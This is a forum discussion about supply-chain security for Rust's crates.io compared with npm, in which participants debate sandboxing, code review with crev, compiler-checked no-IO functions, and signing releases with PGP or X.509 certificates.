How does crates.io differ from npm

cargo-crev tool is kind-of-working and there are some people wanting to help. https://github.com/dpc/crev/issues/37

2 Likes

An instrumented sandbox could help both developers and users. "Instrumented" meaning you could run code and find out, say, what files were opened for reading or writing, what directories were scanned, what ports were opened — or what attempts were made to do those things.

Even an uninstrumented sandbox could be useful to users, by helping create a culture of not shipping until dependencies are reviewed by something like crev. With a sandbox developers can start testing the new version of dependency X, and then (perhaps, at least!) participating in the review process so their own project can release an update. And if the sandbox was instrumented, then it could help them do the review.

Of course, it would be possible to outwit any sandbox's instrumentation. But the more obstacles we put in the way of exploits, the more obvious they'll be to people reading the code.

3 Likes

POLA Would Have Prevented the Event-Stream Incident | by Kate Sills | Agoric | Medium is a blog post describing one way to protect against attacks like the one against npm. Perhaps it's possible to modify cargo to operate along the lines suggested in the post.

Most malware out there does one or more of these things:

  1. Read/modify files (ransomeware, virus, browser hijack, etc)
  2. Steal stuff by sending it somewhere (credentials, etc)
  3. Buffer overflow (or other memory hack) plus code injection to then do arbitrary stuff.

In plain code, the first two are easy to see: if there is any file or socket access, that code should be reviewed. Can this check be automated, in the sense that crates.io can flag packages that use file/socket API? Can the malicious code be hidden from such detection?

The third one requires unsafe + code injection. What does code injection look like (I've never seen such a thing)? Can it be auto-detected in the source?

Am I just too naive to think there is some technical solution here that'll provide more protection without a loss of fidelity?

Rust is not a sandbox language like JavaScript or Java applets. It never had, and never meant to have any isolation of untrusted code. Because of that it's full of "holes" by design.

For example, #[no_mangle] and #[link_name] can replace any symbol, including main or callbacks that run even before main. Here Rust trusts the system linker, which was never meant to have any security whatsoever.

Rust's strong point is interoperability with C and system libraries. Anything goes there. A crate may use #[link="c-lib"] and supply the C library itself. That's a feature.

Rust itself is supposed to be linkable with other programs (e.g. you can write an nginx module), which generally don't have the level of sandboxing needed to safely contain viruses running in native code.

6 Likes

The security barrier must be earlier. It will make everything easier to secure.

By analogy, it's like securing your own house. You can lock points of entry to your house, and it'll work fine for the entire house. But if you move the security barrier to wrong place because you assume burglars may freely roam inside your house, you'll end up with locks on your bathroom, padlocks on your drawers, gates on your bed, TV stored in a safe, and kitchen utensils chained to walls.

Here, your OS is your house. If you work with assumption that you let malware in, and running viruses is normal part of Rust development, you'll need extraordinary level of sandboxing paranoia similar to having things in your house chained to walls. It's going to be incredibly hard to secure everything, and it's going to be incredibly inconvenient to use the language that has to act at all times as if all your code was infected and dangerous.

4 Likes

Yes. So a Rust sandbox needs to be something like a virtual machine or chroot jail. The sandbox can help detect malware in a dependency. It can't prevent bad behaviour in production.

Smart malware will then start trying to detect when it's in a sandbox and behave itself until released in production; but no countermeasure is infallible.

When talking about sandboxing in rust, remember that it isn't that simple. If you want to effectively sandbox it, you have to mimic every target triple that the crate supports, every toolchain, and every feature flag that the crate declares.

There are also a lot of crates that go looking for pre-compiled C or C++ libraries in the existing environment - sandboxing would break this.

2 Likes

No, using your analogy, having a sandboxed environment will be akin to letting stranger only to your guest room without anything of value in it and having all doors in this room locked, so stranger will not be able to go into your bedroom or kitchen without being explicitly granted access to the rest of your house (or part of it).

If we're going to do this silly analogy twisting exercise, what you're actually proposing is letting the thief loot your guest room, and then bringing him over to your grandparents' house and giving him free rein.

This proposal doesn't address the npm issue at hand, anyway, so I'm not sure what the purpose is.

[Please drop the analogy thing.]

5 Likes

I think there is an interesting possible language feature that could solve some of the goals of sandboxing while making rust more expressive and more secure.

One nice thing about Haskell is that you can tell when a function is going to do IO but its type (unless it uses unsafePerformIO...). What if we added a similar feature to rust, but made it enforced by the compiler? I'm thinking something like an attribute where a given function cannot call any unsafe or IO code. This could make it possible to use such a function from an under l untrusted create without risking that a future version might make connections to the internet or modify the filesystem.

The catch here is that basically all rust code transitively calls unsafe code eg in the implementation of Vec. There would need to be some whitelisting mechanism, which could make this complicated. But my point is that rust is ideally situated to develop a "zero cost sandboxing" that is enforced by the compiler.

What you are proposing will add a large amount of weight to Rust development, while offering only a very minor security improvement for applications which are written solely in rust. That is, you're hardly securing anything.

I'll second kornel's point:

If your goal is security, and your means of accomplishing that goal is sandboxing, then what business do you have saying "we only permit the execution of Rust programs which were built using a specific whitelist and this set of compiler flags...." Now you have to enforce all that, and only a few applications will be able to meet those restrictions. (And how do you verify that the sandbox isn't escaped without sandboxing everything?) So why wouldn't you just sandbox every executable you want sandboxed, regardless of which language it was written in and which compiler was used?

2 Likes

My idea is not to implement sandboxing, but rather to provide an additional degree of safety and clarity to rust code, specifically to be able to designate that a function does not perform IO. I think this would be useful, and would make it easier to secure the ecosystem, because we would not need to audit crates that provide only non-IO functions, or crates for which we only use non-IO functions (unless they have a build.rs). This is similar to how the distinction between safe and unsafe code allows us to be confident that there is no undefined behavior caused by safe code. It is also analogous to the const functions that are in the pipeline, which we will be able to use at compile time.

Personally, I love having the compiler able to check things for me, that's what I like most about rust. It would be nice to continue expanding the set of properties that the compiler can check, and by doing so to reduce the attack surface for people trying to insert malicious code into the rust ecosystem.

The answer to that is for the same reason that applications are not currently sandboxed: defining what resources an application needs is very, very hard. It often cannot be done statically, since the resources required may depend on configuration files or command-line flags. Moreover, for many practical sets of programs there must be some interface for getting out of the sandbox through some user interaction (e.g. how javascript can access the file system through an upload file dialog), which adds even more complexity, and requires that the applications be written with the specific sandbox in mind.

That will be neither safe nor clear if you can still do IO in a function designated to not do IO. And "doing IO" can be pretty vague... (memory mapping comes to mind.) The focus on IO here is probably a red herring anyway, because the problem is accessing any shared state. (Your function isn't safe if it doesn't do IO but writes arbitrary memory... you could always effectively cause another program/function to do the IO for you.)

You would still have to audit everything unless you also forbid unsafe, extern "C", and friends. And if you do this, then you will have approximately zero rust programs left to audit.

Of course you would forbid those scary friends. That was my entire point, which I'm sorry I didn't make clear. And the issue is not about rust programs but rather about rust functions. There are many functions that do not require any of these risky features, and a way to flag this code as safe (and have that guaranteed by the compiler and build system) would be nice.

My objection is that you're saying you want to mark these functions as "pure" in some way, but you're not saying what "pure" means. If you label a function as pure and then try to assert that it does no IO, unsafe, or FFI... then have you guaranteed that the function is sufficiently pure to enhance safety? Don't you also have to forbid... statics? generics? dyn Trait? What functions will actually be left after all of this?

What notion of purity are you using, and what notion of safety is it meant to enhance?

Debian is an organization where the members are known by their real names and sign their work with electronic signatures, so they can be held accountable for it.

And I think it might work in the looser community setting too, and that it is actually the correct solution.

Therefore I propose that

  1. cargo and crates.io should learn signing releases with PGP and/or X.509 certificates.
    • There are some advantages of the ad-hoc signing in PGP, but the ability to get an X.509 certificate signed by some official authority (for a fee) has its merit too; maybe the formats can be converted to allow both options.
  2. Level of verification of the signature of a release, and level of verification of the least verified signature in the dependency chain would be indicated.
    • So there would be some visible benefit to using signed dependencies.
  3. When updating dependencies, cargo would check for any decreases in the verification level, and optionally in key changes.
    • It could optionally check that the certificate signing the new release is signed, among others, by the certificate that signed the previous one. This is to encourage some responsibility when handing over maintainership.

I would like a sandbox for the build to go with it, but not for security per se; it would be for auditing what goes into the build and making sure all of it came through the cargo signature checking logic.

1 Like